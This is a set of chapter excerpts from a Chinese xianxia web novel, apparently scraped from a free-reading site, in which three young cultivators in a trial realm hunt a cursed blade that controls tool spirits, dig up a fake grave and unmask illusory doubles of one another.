明黄符咒燃尽,天际即刻浮起一条金线,不过瞬息光景,金线已拓宽蔓延成为一片金光,一轮圆日在地平探头。 万顷金波笼罩下,黑雾肉眼可见地躁动,一团一团环绕中心盘桓涌动不休。 “黑雾中心……”就在这时,卢笑绒耳朵动了两下,“有动静!” 随“太阳”升起,黑雾再无法抵御愈渐强烈的日光照射,挣扎着溃散离析。 而不待众人看清黑雾中心的法器,那些刀枪剑戟长了眼似的,已直直朝他们刺来,触及天钧罩,戳下根根尖刺状凹陷。 饶是天钧罩这样的神器,也无法抵挡此等密集且猛烈的强攻,金光肉眼可见淡了一层。 “完球,”崔惊厄捂着小心脏哀叹一声,“大小姐的符咒太厉害,它们怕是狗急跳墙。” “完什么球?你不要说这样晦气的话,”卢笑绒默默缩到远离边缘攻击的中心区域,望着负手而立面不改色的谢扶光,目光灼灼,“大小姐一定有办法!” 6. 藏蛟剑,乐命刀 《秘境改命,顺便通关》全本免费阅读 器灵们确实团结。 合起伙来砍谢扶光,步调一致,配合默契,让人怀疑一个妈生的。 谢扶光对器灵不太了解,也不觉得手下败将团不团结是她需要操心的事。 她矜持地喝了两口水,喉间清润,看在水的面子上敷衍崔惊厄:“单打独斗打不过,团结对外有什么问题?” “这问题可大了,”崔惊厄头头是道,“器灵们和人不同,不兴合作共赢那一套。若没主人管着,它们一个个可傲,彼此谁都看不上谁,凑在一块不起内讧争高低都是好的。” “再者,每件法器都有习惯的出招方式,这点不会轻易更改。可你看它们,我刚浅数了数,至少从攻击次数上,各方向的数量很一致,至于其它层次,我从旁观角度体会不出,大小姐不妨回忆回忆,它们是不是不知疲累,每回出招的力道都能保持一致?” 刚刚与器灵们交手时,谢扶光便觉出几分诡异,只是置身险境无暇多思。 这会儿想来,四面八方的刀剑气看似杂乱,仔细体会,却不难瞧出章法。 “的确。”谢扶光证实,“它们虽为器灵,却不像有灵性,更像在机械服从什么。” 耳畔倏然传来两声吸鼻子的声音。 她闻声看去,正见卢笑绒皱着鼻子拧了拧眉头。 “你也有病?” 崔惊厄初见即吐血的画面挥之不去,谢扶光第一反应是她也体魄不佳。 卢笑绒摇头。 “这些器灵身上,味道很奇怪。” 谢扶光和崔惊厄用力嗅了嗅。 什么都没闻出来…… “我天生五感比别人灵敏些。”卢笑绒解释。 难怪。 初遇她时,她像是背后长眼,总能及时避开背后铜钱的袭击,刚刚又屡屡给与提示。 她应是可以捕捉利刃破空的细微风声。 “味道怎么个奇怪法?”谢扶光顺着她之前的话问。 “类似每人身上都有独特的气味,闻到熟悉的味道,就能判断出来人是谁,器灵们也具备其标志性的气息。”卢笑绒说着,又嗅了两下,确认无误后继续说,“那些器灵传过来的气息很杂,几十种交融在一起,每种都很微弱,混在一处本不应有压倒性的气味存在。” “可它们之间,却有一道诡异的气息穿插始终,这不对劲。” 这样说来,那些器灵不像一个妈生的,更像是被什么侵染了。 器灵们近透明的身形落进卢笑绒眼里,也比别人眼中更清晰一些。 借助敏锐眼力,她能勉强分辨出它们此刻的茫然。 “大小姐,”她试探地碰了碰谢扶光的肩,碰到后抿唇开心地缩回手,“它们现在似乎脱离了控制,要不要试着沟通一下?” “人和器灵怎么沟通?”谢扶光问。 卢笑绒怔了一怔,发自内心困惑:“乐命……还没有开灵智么?” “乐命”即是谢扶光的刀。 以刀柄护亲友, 以刀刃斩阎罗, 以刀鞘敛锋芒, 以刀名乐天命。 为人如做刀,人刀合一。 当年锻刀的器修曾怀抱这样丰满的理想。 然而谢扶光凭本事让现实骨感到只剩下第二行。 她没有朋友,襁褓之年母亲失踪,父亲谢白扇作为仙盟盟主,一无须她护,二也与她关系极疏。 至于“敛锋芒”,渡业山大小姐生来万众瞩目,除去一身刀法,最以臭脸闻名,说她“乐天命”,乐字能冤得六月飞雪。 器灵有它们自己的语言,外人虽插不进去,但器灵们与各自的主人可产生特殊的意念交换。 谢扶光这反应,不像和器灵相处过。 “没有。”说起这事,谢扶光没什么情绪,“之前生过一点灵智的,我父亲怕我练武分心,从萌芽就斩断了。” 她耸耸肩,侧脸皮肉极薄,显得冷硬:“正好,我原本就怕烦。” 一旁崔惊厄余光在她唇上晃荡一圈,扯下块烤饼放入口中。 放了太久的饼像石头,和大小姐那张嘴一样硬。 他觉得二师兄的烹饪水平有所下滑,一张饼烤出了五味杂陈,干巴巴的内芯也一肚子坏水的滋味。 “真可惜,”卢笑绒自己也没有,“我不用刀剑,平日只带些小玩意儿保命。” 谢扶光没说什么,转头缄默地看向崔惊厄。 不知为何,这位一会儿吐血吐得要死,一会儿发癫跳个大神,生就一副不靠谱相,但她就是隐隐觉着他或许会再给她个惊喜。 崔惊厄喝水顺下口中硬饼,这才注意到谢扶光幽幽投来的视线,愣了两秒后,他熟稔地将手上油往衣襟下摆蹭了蹭,摘下腰侧佩剑横放在膝上。 他的剑通体银白,从剑鞘便可看出名贵,虽无繁复花纹作衬,反显出一种低调的圣洁,总之与他甚是不搭。 “我这剑里确实有东西,但跟器灵不太一样,我也不确定能不能沟通,只能试试了。” 说完,他拍了拍剑柄:“小美人,出来。” 谢扶光:小美人?这又什么鬼话。 不待她一个念头闪完,崔惊厄的“惊喜”已闪亮登场。 随他话音落下,一条长约九丈,布满银鳞的蛟龙从剑中呼啸而出,裹挟一道劲风,顷刻光景,长尾已环绕一众剑灵盘旋数圈。 一声龙吟从它口中啸出,直接震晕了天上的假太阳,顷刻间狂风起,浓云布,视野昏暗下来,先狠厉后迷茫的器灵们这会儿肉眼可见开始发抖。 卢笑绒惊得目瞪口呆,谢扶光矜持些,只微睁大了眼。 几十米外,凭“苟”字诀在两只坟包中间避开打斗全程的范莘刚一冒头,顶上一半的发就弃头皮而去,哈喇子从张着的口中流出,头和嘴一时不知该先捂哪一个。 相比之下,崔惊厄装出如此一个大逼,简直淡定得发疯。 他揉了揉眼,一副不忍视的模样,照旧朝谢扶光碎嘴:“小美人有点人来疯,剑里憋久了,见到大小姐,抓紧时机就要出来表现。它身体其实可变大小,小的时候也就一根小指头大,平时瞧着挺可爱,没这么暴躁。” “我真是每回都教育它 7. 找坟 《秘境改命,顺便通关》全本免费阅读 崔惊厄有一瞬沉默,给人一种凝重的错觉,但很快他就又吊儿郎当一点头:“每一个,同病相怜。” 谢扶光没再说什么,但肉眼可见心情又差了些。 就在刚刚,她突然就记起了那眼熟的器灵虚影在哪儿见过。 大概五年前,刀宗出了位天资不错的弟子,与她年纪相仿,但按辈分该叫她师姐。 弟子名江星,眼睛真的像星星一样亮。 她记得那天天色很阴,黑沉沉的云几乎要压下来,刀宗刚进行过年度大考,江星拔了筹,拥有了下山机会,兴冲冲跑来告诉她:他很崇拜她于刀法上的造诣,入渡业山以来,一直在朝着她的方向奋斗,未来如有机会,希望可以合作除妖。 站在此时回想,她当时大概是愉悦的,就像收下崔惊厄和卢笑绒做跟班时一样愉悦。 她总是说着怕烦喜静,可依照这种开心程度推算,她大概不讨厌伙伴。 可不知怎么,那时的她,一股燥意极突兀地涌上心头,她只冷冷瞥了江星一眼,什么都没有说。 但她记住了江星带着的剑,好像就是混在器灵虚影中的一把。 近些年她分明耳闻过几次江星这个名字,包括此次秘境试炼,他也是弟子之一,她实在无法将他与死亡画上等号。 要么秘境中一切皆为虚妄,只为考验他们而生; 要么,就是哪里出了差错。 谢扶光咀嚼着怪异之处,正自出神,被一阵“格格”声响拽了回来,垂头发现是崔惊厄的藏蛟剑在颤动。 “又想起什么了?”崔惊厄问得自然,像深谙小美人说话说一半的毛病。 藏蛟上下轻晃,像个惟妙惟肖的点头。 “那出来吧。” 小美人这次出场没有刻意拉风,以小指长的形态朴素地挂在崔惊厄耳廓。 一人一龙交流片刻,崔惊厄抬眼。 “刚刚它说少了一句,器灵们还称,控制它们的刀似乎遭了某种邪法反噬,每当入夜,只能以两种形态存在,多数时候作为虚影之一混在它们中间。” “一旦遭遇危险,碰上难啃的硬骨头,比如大小姐您这种,”他看了谢扶光一眼,然后说,“就要伪装成地上坟包,躲风头了。” 卢笑绒听完他前一句,就耸了两下鼻子,笃定道:“不会在器灵们中间,不然气息会很明显。” 那就只能缩在坟包中间了。 趁先前那阵地动山摇将所有坟包聚在了一处,谢扶光提议:“数数看。” 三人分头数了一圈,半空飘着的器灵虚影数为二十九,坟包却足有三十个。 从数量上,已能基本确认那把刀伪装坟包躲了起来。 谢扶光扫视一圈,不禁头大——说地面三十个坟包是一个妈生的,都得是同一胎。 长得一模一样,该怎么从中把控制刀的坟找出来? 谢扶光看着最近处一座坟,问卢笑绒:“你能闻出这里面睡过哪位器灵么?” 又是“睡”,又是“哪位”,都说渡业山大小姐脾气千差万差,这张嘴倒意外留德。 崔惊厄不动声色扬了扬好看的唇。 那厢卢笑绒凑近嗅了半晌,憾然摇头。 没能帮上忙,她看起来很抱歉:“以我的嗅觉,尚不能将坟包与器灵身上的气息一一对应。” “若我师兄在就好了,他一定可以,可惜我太没用。” 她此言不虚,当年的叶放嗅觉灵敏到令别有用心者忌惮的境地。 传闻曾有妖物披上人皮混入修真界,此妖身上带了可隐匿妖气的灵宝,骗过了修真界的结界石,偏叫他闻了出来。 “不如他不代表你就没用,”谢扶光伸出两指,暴力地把卢笑绒纠结的眉头展开,霸道表示,“现在这儿,你就是五感最厉害的。” 世间充斥比较,同辈间、前后辈间、同宗或同族兄弟姊妹间……伴之而来总有自惭形秽。 谢扶光也难逃此网,自有记忆起,她便一直被谢白扇和二十年前的无失圣手颜琅作比。 分明阴阳两隔,又不在同一时代,可笑当年气盛,竟真想与死人争个高低。 长达数年,她日日精研颜琅招式,试图找出破绽,寻得破解之法,以此证明自己能压过他。 到后来钻得越深,对这位前辈越生出惺惺相惜之感,同时她的刀法也在逐日增益。 不知自何时起,输赢就不再重要了。 想到颜琅,谢扶光一顿。 适才与器灵们交手,她始终存有一抹熟悉感,当时不及多思,这会儿后知后觉反应过来,竟和当年她拆解颜琅招式对招时颇为相似。 她暗自发怔之际,崔惊厄一直在东张西望,左探头右伸脖子,过分活跃的英俊脑袋很不幸地扰了大小姐静思。 “你乱看什么?” “嘶,奇了怪,”他右手食指抵着下巴,“刚刚数坟时,你们有看到脸很黑的那位仁兄么?” 卢笑绒摇头。 提起范莘,谢扶光又想起他和圆脸兄打的那一场,神色恹恹,看紧抿的嘴唇显然也是没见到。 奇怪之处就在于此,黑脸范莘活不见人,空中却也没出局金字浮出。 那么人去了哪儿? 谢扶光也觉奇怪,但她一向不在意自己瞧不上的人,于是只说:“操什么闲心,不如休息一会儿。” 经过半个晚上的折腾,三人确实也累了,原地稍作休整。 方才崔惊厄第二次放出剑中蛟龙时,他们一心听新的信息,没留意十余丈外,范莘缩在一座硕大坟包后,悄无声息戴上了一只褐色假耳。 这只假耳是范莘与倒霉的圆脸兄打斗时,从他身上捞的,那会儿他神志不清,顺手牵羊其实并非本意。 假耳由猫头鹰的耳朵制成,猫头鹰听觉本就灵敏,这份灵敏又经术法放大数倍。 借由这只耳,说秘境中一切声音尽在他掌握也不为过。 范莘脸黑嘴臭,但不耽误他自诩君子。 他原想等出秘境后,登门向圆脸兄致歉,再将此物交还,并无擅自动用之意。 但从谢扶光的凌厉刀法到崔惊厄剑中的拉风蛟龙,哪怕看起来又呆又菜的卢笑绒都展现出非同寻常的辅助能力,这群人浑身都散发着老子牛叉的气息。 范莘丑话说得太早,这会儿拉不下脸凑过去蹭通关,走流程象征性抉择两秒后,很快“借用”了这只假耳,原本想的是多少听几句信息,方便破局。 孰料这一听,就听到了关键——控制一众器灵的刀伪装坟包,潜藏在满地坟包之间。 他今日运气刁钻,在谢扶光和器灵们的战局接近尾声时,好巧不巧正看见几步之遥一座新坟破土而立。 坟都有定数,怎么会凭空再生? 那么只能 8. 围火夜话 《秘境改命,顺便通关》全本免费阅读 崔惊厄鸦羽似的长睫一个忽闪,显然已懂她意思,抚着小美人身上鳞片,与之无声感应两句,小美人就又飞回器灵们面前。 半晌,得到答案后,崔惊厄打个指响:“恭喜大小姐,猜对了!器灵们说啊,控制刀一向极度畏光,有太阳时只能缩进地底。” “它们还说,”除去谢扶光的猜测,他还额外追加了一问,“每回所有坟墓齐聚到一处后,一整夜不会再有变动,而天亮后控制刀的假坟会直接缩入地心,白日里无法有新动作。” 想法得到印证,谢扶光即刻起身:“走,在每座坟头打上标记,等到明天日出,有哪座坟凭空消失了,我们就从那片土地挖下去。” 三人在每座坟包旁都留下了刀剑刻痕,整整三十个。 做标记时,他们还顺便检查了那些坟包,彼此间没什么区别,每一座看起来都很像真的。 夜色越深,秘境中越显寒凉,有事忙时不觉,这会儿闲下来,月色都像挂着层霜。 修真界弟子们锻过体,能抵御各种温度侵袭,谢扶光和卢笑绒都尚能忍受。 崔惊厄的病秧子体质在此时又开始作妖,搓着两只爪子牙齿直打颤。 见不得跟班这副虚相,谢扶光要从储物袋给他摸个火符,他倒早有准备,自怀中捧出两枚燧石。 崔惊厄在周遭拾了些杂草枯枝,摆在面前熟练地攒起火堆。 “你真不嫌麻烦。”谢扶光觉得他放着火符不用自己生火简直有病。 崔惊厄只笑:“过日子么,就这点自己动手的意趣。” 他大概真的很爱过日子,揣进来的尽是食水、燧石这类接地气的东西,不似谢扶光,满满当当一袋天材地宝,兵器符咒。 穿越明灭火光,谢扶光头一遭用心凝视这双令她不痛快的眉眼。 这双眼总是弯着,一副快活模样,让她不禁生疑:松松垮垮、没什么大志向地活着,或许也挺不错? “大小姐?” 有火光的夜晚合适放空,谢扶光松下转了半夜的大脑,恍惚听得崔惊厄唤她。 “崔大哥说,他以前当过说书先生,长夜漫漫,可以说两段给我们解个闷,问我们想听什么。”卢笑绒体贴地为她前情回顾。 鉴于都是大小姐光荣的跟班,适才给坟包做标记时,两人一拍即合,已结成异父异母异宗的亲兄妹。 “我都可以。”谢扶光说。 其实她从没听过说书,根本说不出想听的篇目。 不止于此,她与她的身份一起束于高阁,就连下山除妖也是完成任务即刻返程,不曾有机会沾染尘烟。 直到遇见崔惊厄,她才恍然惊觉,似乎属于“人间”的一切,她都不曾参与过。 “都可以让我怎么说?”崔惊厄似有点苦恼,“要不卢妹妹你点一个?” “我都听大小姐的,”卢笑绒一根筋直得像驴,“大小姐都可以,我就都可以。” 两人拉扯了一会儿,谢扶光看不下去,终于发话:“要不,说点你自己的故事吧。” “我的故事?” “譬如,你做神棍哄小姑娘、当说书先生或者种地的事……都可以。” 粗略一数,单独他这个人已经很有意思了。 “我算卦那是正经营生,怎么就成了哄小姑娘?”崔惊厄抗议。 谢扶光完全下意识脱口,被他点出也不觉有何不妥。 说话时,她脑海中正是他耍着把铜钱哄人的场景,像亲眼见过一样。 但她没解释,只冷下脸催促:“你说不说?” 她臭脸时一向颇具威严,百试不爽。 这会儿在崔惊厄面前却失了效用。 “我们大小姐都会吓唬人了。”这厮嬉皮笑脸调侃,在谢扶光挥掌过来时灵活一闪。 “那我这就讲讲,”崔惊厄笑着揭过这一茬,“我是怎么靠六枚铜钱招摇撞……那个,替人排忧解惑的。” 他的话既多又密,语调抑扬顿挫,极能感染情绪,句与句间的喘气都比别人丝滑,天生耍嘴皮子的好手,讲起神棍日记竟颇具大侠叱咤江湖的味道。 卢笑绒相当捧场,坐姿一再变换,越换越正经,最后直接挪到崔惊厄旁边,两手规矩地平放膝上,双眼晶亮,不时“哇”“哦”几声,再问上句“然后呢”。 相比之下,谢扶光给的反应堪称冷漠。 眼前篝火跳跃,耳畔是崔惊厄引人入胜的“传奇”,夹杂噼啪火花声,她垂着眼,内心其实是愉悦的,长睫却覆下一道阴翳的影。 她这个人,生就一副冷相,仿佛骨头里都刻着不易接近。 侃了半个多时辰,崔惊厄停下添几口水。 他仰头时喉结一滚一滚,谢扶光静静看着,突然问:“怎么一直在说近两年?从前呢?” 崔惊厄喝水的动作一顿,水流却没停,喷了他一下巴。 他用袖子揩去,半真半假敲了敲脑壳:“记忆都是会越来越淡的,我这脑子大概先天不足,早些年的事大体还有印象,具体细节早记不清了。” “也好,”他洒脱笑笑,“谁说记性差些不算好事呢?” “真不中用。” 谢扶光抨击过他差劲的脑子,试着回想自己的从前,一时竟也调不出多少细节画面,过往经历似隔着层云雾,只见轮廓,具体形貌模糊不清。 而她,则为雾中人,似困于其中,又似游离其外。 “确实是这样,”卢笑绒对崔惊厄的说法表示认可,“之前的事我也差不多忘了。” 难道大家都如此? 谢扶光没其他朋友可供参考,左右看看,终是忽略那抹怪异。 “你说来万里悲丘是为找你师兄,可有他的大概方位?”见崔惊厄面露倦色,她吊着卢笑绒开启一个新话题。 卢笑绒的注意力果然从听故事上移开。 她摇头:“没人有他的消息,我们灵鹤谷知道的并不比其他宗多。” 谢扶光听得蹙眉:“万里悲丘这样大,你耗上一辈子都不一定能走到尽头,要怎么找?” 不是没人探索过万里悲丘的边际,几十年前有位先辈,入万里悲丘兜转一生,出来时青丝已成华发,也未能窥见其尽头。 “我没打算走到那个尽头。” 卢笑绒没存地毯式寻找的心思,还算有脑子。 想来她也只是碰碰运气。 然而下一秒,就听她又说:“所以我才等到试炼秘境开启后才过来,听说闯完这里 9. 天亮刨坟 《秘境改命,顺便通关》全本免费阅读 “你在哪里见过?” 谢扶光没有避退,依旧那副长眉轻蹙的冷恹神色,她的坦然,稀释了崔惊厄眼里的试探。 “我在……”崔惊厄移开视线,一时走神,下意识脱口,“试炼开始前的幻境里。” 话刚出口,他就暗叫不好,果然,谢扶光长睫一抬,冷刃一样的视线已直刺过来。 “你骗我!”谢扶光显然记得他的鬼话,“你明明说你幻境里是天上下银子。” 崔惊厄下意识想把这谎圆回去,眼一掠瞥见卢笑绒,想起大小姐对她那笨拙的宽慰,舌头不知怎的就打了个哆嗦,咬住差点脱口的瞎话。 叹了口心软的长气,他认命般双手抱头,做好准备挨打,嘴里咕咕哝哝地替自己找补:“初次见面,哪能那么快交老底,多少脑子有点……” 刚要说“有点病吧”,就见“有病”的卢笑绒正一脸懵懂看他。 崔惊厄:…… “有点单纯,对,单纯。虽然说,社会需要单纯,但大小姐您也知道,我市井混迹多年,早做不了那单纯的一张白纸……” “不过我保证,相处这大半夜,我现在就是为大小姐鞠躬尽瘁死而后已的自己人,再不会骗你了!” 谢扶光很想打他。 若换成别人,她也早就打了。 但大概见面礼的那口血余威犹存,她朝崔惊厄磨了磨牙,又气鼓鼓瞪了瞪眼,最终刀鞘只在他肩头象征性敲了一记,此事便算过去了。 崔惊厄眼皮掀开条缝偷偷觑她,发现大小姐这回动气跟前几次大不一样。 她分明在生气,身上戾气却散了,活气取而代之在五官间涌动。 很好,以后可以多惹几次。 “废话少说,黑雾怎么回事?”谢扶光右手转着乐命刀柄,几十公斤的环首刀在她手里像拎着根筷子。 “幻境中,”崔惊厄又看她一眼,然后才说,“有个人刺穿了我胸口,她身上就发散着与控制刀同样的黑雾,但那个人是谁……我没看清。” 说完他扯唇轻哂:“不过幻境嘛,都是假的,人家幻境里杀我,没准现实遇上还能帮个忙呢,不足信。” 这话半真半假。 大半为真,假的部分是那句“我没看清”。 冷刃没入胸口的瞬间,那人的脸确实是模糊的,但他当时发觉异样,却并未及时脱出幻境,甚至忍痛以右手剑与之周旋,总算揭开了出刀人神秘的面纱。 这也是为何他耽搁到最后才掐着点从幻境清醒。 说来也巧,幻境里他那么费力才看清的人,睁眼第一面就见了。 再后来,他黏上谢扶光,假意投靠,暗里防备观察,并没在这位冷脸大小姐身上看出对他的敌意。 他猜测是秘境故意想让人起内讧。 那两位掐着架出局的“斗鸡”不就是么? 他心下替幻境里的异常找着解释,谢扶光想的却是另一桩事。 范莘那倒八辈子血霉的一刀,将铜钱卦象拨到了“山地剥”。 她心神受影响,无意识将崔惊厄当作敌人向他挥刀。 犹记当时他说了一句“又要杀我一次么”,再联系他提起幻境时看向她的古怪眼神…… “你是真的没看清,”她兀地发问,“还是看见了那人是我,选择隐瞒?” 崔惊厄强撑着视线没有躲闪,莞尔苦笑:“真的没看清,一个假的幻境,我骗你干什么?” 他这人心相当宽,其实鲜少回避什么,危难时见人心,他也相信谢扶光对他并无恶意。 但他就是很不想提起那一刀。 很莫名,分明只是个幻境,他却总觉得像有很重要的东西被斩断了。 谢扶光闻言颔首:“你刚刚表情有点怪,我也只是猜测。” 顿了顿她又说:“你的命对我没用,我没有取来的打算,既然同行,有些话还是说清楚比较好。” 崔惊厄垂眸勾了勾唇角,在她的坦荡映衬下,不无自嘲。 枯枝燃烧,火花噼啪。 三人间维持了少顷静谧,开口打破的是卢笑绒。 “幻境之前,你应当还见过这种黑雾才对。” “我真没有!”崔惊厄扯淡多年,头一遭觉得冤,“我说卢妹妹,你可别瞎说八道坑我了。” “你再仔细想想,”卢笑绒坚持,“我曾听师父说,幻境映出的是人最深处的执念,你不光应当见过黑雾,还理应接触过刺你的人。” 崔惊厄做贼心虚,下意识又瞥了谢扶光一眼,反应过来时已来不及收回视线,好在谢扶光正盯着自己的左腕发呆,思绪似乎陷得很深,对他这一眼没有察觉。 崔惊厄顺着看向她的左腕,这只细伶伶的腕子先前他就看过一眼,当时没瞧出端倪,这会儿联系自己的幻境看,一个曾未留意的细节影影绰绰浮于脑海。 他想,这只左腕上,该缠着条红线才对。 “譬如我的幻境里,就是我终于找到了我师兄,他这些年老得厉害,头发全白了,想来吃了许多苦,”卢笑绒犹在滔滔不绝,“还有啊,我们之前见到的青云刹那对师兄弟,我曾听说过,他们一直互相不对付,什么都要争高低,我猜测也是幻境里就在打架,出了幻境又续上了……” 后面的话谢扶光其实没怎么听,她一直在咀嚼那句“最深处的执念”。 她对此次试炼十分看重,并非想获得什么名次,他人的违心恭维对她毫无吸引力,不如杀几只作祟妖魔来得痛快。 只是近半月,脑海中始终有个念头在盘旋,似某种隐隐的警示:万里悲丘有她很重要的东西,错过这一次,很可能就再没机会了。 她带着这荒诞的念头前来,这会儿又被告知另有一份“执念”…… 左腕又开始隐隐作痛,像被绳子从中勒断一样。 从提到幻境开始,崔惊厄和谢扶光不约而同闭了嘴,卢笑绒说着说着也沉默下来,火焰仿佛都冷了一个温度。 崔惊厄打了个哆嗦,张着哈欠觉遁:“我先睡了。年轻人就要多睡觉,年岁一大就容易老来愁,想睡也睡不着了。” 他退出话局,谢扶光索性也闭目打坐。 一夜无话。 翌日,第一缕光照在身上,谢扶光有所感应睁眼,意外与同样敏锐的崔惊厄四目相对。 有了昨晚的事,崔惊厄在她这儿信誉直降。 她看着他,第一个念头是:这对她撒谎的骗子反应竟快于大多数人,不知还藏着什么事没抖出来。 骗子伸了个懒腰,困意未尽,声音发闷,说话像隔着层罩子,但笑容依旧灿烂:“早啊大小姐!” 大小姐很记仇,别开视线没有理会。 卢笑绒睡得正香,听见他们的动静,耳朵先醒,动了几动,双眼才随后睁开。 “天亮了,去刨坟!” 单纯少女没烦恼,做起刨人坟的事,比盗墓贼积极。 三人在这片土地兜转大半圈,最终在一个不起眼的边缘位置找到了控制刀的 10.假假真真 《秘境改命,顺便通关》全本免费阅读 谢扶光浑身汗毛警惕地竖起,握乐命的右手蓄势待发。 “后面,后面的方向是对的。”传来竟是卢笑绒的声音。 边说,她还吸了吸鼻子,像在提醒自己嗅觉的优越:“在这儿视力听力都不中用,幸好嗅觉还在,控制刀的邪气很浓,我在这儿都能闻见。” 谢扶光没有生疑,戒心连同乐命的攻势一并收起。 保险起见,她还是让乐命环绕卢笑绒指的后方试探了一圈,情况与之前无异,便放心地随她走去。 一路崔惊厄始终无话,他的嘴难得清闲,不知是不是疾速坠落中吓出了毛病。 “病秧子?”谢扶光唤他一声。 身子已然不好,若再吓坏了脑子,他浑身上下怕就只一副皮囊可取了。 崔惊厄轻嗯应声,语调正经:“大小姐有吩咐?” 谢扶光:……装什么深沉? “像之前那样说话!”大小姐发号施令,“我不喜欢别人在我面前装。” 崔惊厄:“是。” 谢扶光:…… 她对他这副假正经的做派强烈不满,正待发作,最敏感的神经陡然一跳。 谢扶光脚下微顿,佯装无所察觉。 “刚想起件事,”她出言试探,“出来这一趟,我院里花草怕要蔫死。你在悲问寺前院种了满院子的油菜花,想来精通莳花弄草,等出去后帮我种些。” “承蒙大小姐不嫌弃。”崔惊厄依然顺从,语气里杂糅怪声怪调的开心。 承蒙个鬼的不嫌弃,崔惊厄的宝贝油菜花分明是在后山种的。 谢扶光厌恶被耍,尤其在这样的地方,崔惊厄不知不觉就变了芯子,还不知正主被换去了哪儿。 她脾气上来,额侧青筋抽动,当即提起乐命,在“崔惊厄”肩头砍了一刀。 没有呼痛声,连一丝血腥气都没有,中刀不流血,足以证明身体也是假的。 那她就无所顾忌了。 谢扶光杀心起,简单粗暴刺穿了这假冒伪劣品的胸口,犹不解恨,还提着乐命在伤口里旋了两圈。 “他呢?”她逼问崔惊厄下落。 “崔惊厄”不回答,只喋喋怪笑。 “大小姐快走吧,与他废什么话?” 前头带路的卢笑绒回头催促,一副着急模样,竟是半点不担心崔惊厄安危。 谢扶光看她一眼,乐命从“崔惊厄”身上抽出,他身形登时化尘烟散去。 见谢扶光动了,“卢笑绒”刚面露喜色,谢扶光却借着收刀之势,鬼魅般轻步缠到了她身后,横刀在她脖颈轻轻试探一刀。 果然没血流出,她也是假的。 两个队友相约“叛变”,谢扶光第一反应竟是松了口气。 如此看来,出问题的似乎不是他们,而是自己这边。 手上加力,乐命锋利的刀刃立时豁开“卢笑绒”那不存在的喉管。 “卢笑绒”藏于袖间的短剑不待抽出,身形已散去大半。 “你杀了我们也没用……如今……你们三人一体,就算全都勘破幻象从此地出去,等会儿一样要被拽入祭坛……”短暂错愕过后,她也喋喋笑着说,“你们……逃不掉的……” 说到最后,她的嘴唇似乎都化了烟,张口满满的漏风感。 此间仅剩谢扶光一个活人,开头那阵惹人烦躁的嗡嗡声也停了,随处弥漫着死一样的沉寂。 同样是寂静,昨夜的火光就很平静祥和。 谢扶光在寂静突袭的一瞬矫情地放了个空。 只是和平的小火苗跳了不足两息,就又被其他心绪占据。 她咀嚼起“卢笑绒”最后的话来。 “卢笑绒”提到“三人一体”、“就算全都勘破幻象”这样的字眼。 谢扶光合理怀疑崔惊厄和卢笑绒也碰到了同样情况,只有他们每一个人都将另外两个假人反杀,才能脱离这场幻象。 此外,“卢笑绒”还透露出祭坛,这邪里邪气的东西很可能与反噬控制刀的“邪法”有关。 所以外面那些器灵身上皆有控制刀的气息,受控制刀掌控,是因为献了祭? 祭坛是个害人的东西,得想办法毁掉。 锻刀的器修赋予乐命刀的几点期望里,谢扶光只践行了“以刀刃斩阎罗”这一样。 十几年来,她这唯一一样做得极精,浑身上下充满了武德。 一片岑寂里,她静待着队友的审判,也暗暗做着自己的谋算。 若崔惊厄和卢笑绒谁勘不破邪物伪装,他们一起被拽入祭坛,也不一定是坏事,自内部将祭坛毁去不失为一种办法,深入虎穴或许还能早得虎子。 谢扶光在脑海中想象等会儿可能遭遇的场景,模拟该如何出手。 正自想着,周围黑暗蓦地迷雾般离散,视野亮起,她顶着火光刺激缓慢睁开眼,正对上崔惊厄一双含笑眉眼。 这厮一双桃花眼勾起俏生生的弧,讨打的嘴似翘非翘,英挺的眉习惯性微扬,不知打哪儿擎了团火,映衬融融笑意。 不用拿油菜花试,谢扶光看一眼就知道是真的。 “我就知道咱们肯定都能闯出来,大小姐也这么想的吧,真默契!”讨打的嘴开口了。 谢扶光:…… 并没有,她都想半天后路了。 她轻咳两声,没将真实想法说破,只问:“你们怎么发现的不对劲?” 卢笑绒指了指鼻尖,显然是嗅出气息不对。 “闻出来容易,但跟它们打有点难度,我武艺不精,费了些功夫,这才耽搁到现在。” 卢笑绒能分辨并不难猜,谢扶光更好奇崔惊厄。 却见他神秘一笑,火光映衬下一袭红衣愈显灼灼:“我身上揣了个宝贝火折子,拿出来给大小姐献宝,那个假货居然对我笑了一下!她竟然会笑,那肯定是假的!” “不过有一说一,大小姐,那假货用你的脸笑起来还怪好看,所以……有没有兴趣换个招牌表情?” 火折子一跳一跳的橙光下,谢扶光目光幽幽,没有说话,胜似在说:“你有没有兴趣每天领顿揍?” 崔惊厄挑着眉抿唇,扮怂扮得很做作,细看眼里还流动着没藏好的笑。 毫无敬畏,像哄她玩。 相处一整晚,这人像条滑不留手的游鱼,长尾一摆一摆,荡出难以捉摸的涟漪。 谢扶光冷眼看他一会儿,嫌弃地批判,“长得不讨喜,说话行事也不讨人喜欢!” 说完转向一旁表里如一的卢笑绒,只觉还是实心眼好,可爱又乖巧。 下一秒就见实心眼盯着崔惊厄看了好一会儿,眨巴着诚实的大眼睛,乖巧反驳:“怎么会?我第一眼就觉着崔大哥是难得一见的美男子。” 闻言,崔惊厄单手斜搭在胸前,欠身优雅致谢。 卢笑绒两眼弯成月牙回以友善一笑。 大小姐:…… 跟班们在眼皮底下造反,她很生气。 “歇够了么?”谢扶光对人不对事 11.骗人的鬼 《秘境改命,顺便通关》全本免费阅读 飞刀上涂了用人类魂魄炼成的毒,说明控制刀要么与魔族有牵扯,要么其本身就是受人魂魄滋养的带魔息的法器。 人族与妖魔族的冲突由来已久,听闻同类受魔物摆布,谢扶光于情于义于意气皆很难咽下这口气。 “既然那么喜欢毒,等把它抓回去,就用毒融了,让它化成灰都和毒在一起。”好看的嘴唇轻扬起一个森冷弧度,黑暗中她眉心隐隐涌动着戾气。 这圈带毒飞刀像一个楔子,真正的重戏还在后头。 空中杀机四起,像一场欲来山雨。 三人都不再开口,沉重蔓延,气氛空前紧绷。 谢扶光走在最前,卢笑绒居中,崔惊厄断后。 谢扶光心头怒火虽旺,却片刻没烧掉警惕,每一步都由乐命先探过才走。 不多时,乐命刀向左右岩壁试探时并未受阻,他们通过了甬道最狭窄的位置,前方一下子开阔起来。 敌暗我明的环境下,空间的骤然空旷并非一件好事,安全感抽离的同时,能暗藏的埋伏也更多几分。 谢扶光脚步放慢,各感官都调用到极致。 但总有千防万防也防不住的危机。 “啪”一声,身后传来人肉撞地重响,像被什么绊了一跤。 